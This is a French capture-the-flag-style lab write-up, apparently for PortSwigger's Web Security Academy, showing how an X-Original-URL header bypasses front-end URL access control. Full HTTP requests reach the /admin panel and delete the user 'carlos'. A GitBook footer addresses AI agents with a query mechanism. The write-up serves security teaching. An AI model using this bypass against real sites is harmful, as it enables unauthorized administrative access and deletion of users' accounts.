> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/access-control/bypassing-url-based-access-control.md).

# Contournement du contrôle d’accès basé sur l’URL

### Le contrôle d’accès basé sur l’URL peut être contourné

Dans cet exercice, le site dispose d’un panneau d’administration situé à **/admin**, officiellement bloqué par un filtre frontal qui empêche l’accès externe. / Cependant, l’application back-end utilise un framework qui reconnaît le **X-Original-URL** en-tête, contournant ainsi la restriction.

<figure><img src="/files/c4c856266c2f56f2e94a8d13f9703524bac14e26" alt=""><figcaption></figcaption></figure>

#### **Analyse et exploitation**

En tentant d’accéder directement à **/admin**, l’accès est refusé. / Pour contourner ce filtre, interceptez simplement une requête (par ex. vers le `/` répertoire racine) et ajoutez l’en-tête suivant :

```http
X-Original-URL: /admin
```

Exemple de requête modifiée :

```http
GET / HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin
```

Le serveur back-end interprète cet en-tête et renvoie **200 OK**, donnant accès au panneau d’administration.

<figure><img src="/files/61d0095c3999f7885609bbc6a9359a6e608d89aa" alt=""><figcaption></figcaption></figure>

#### **Suppression de l’utilisateur**

Pour supprimer l’utilisateur **carlos**, une nouvelle requête est forgée en redirigeant l’URL interne avec le même en-tête :

```http
GET /?username=carlos HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin/delete
```

La suppression est alors effectuée avec succès.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/access-control/bypassing-url-based-access-control.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
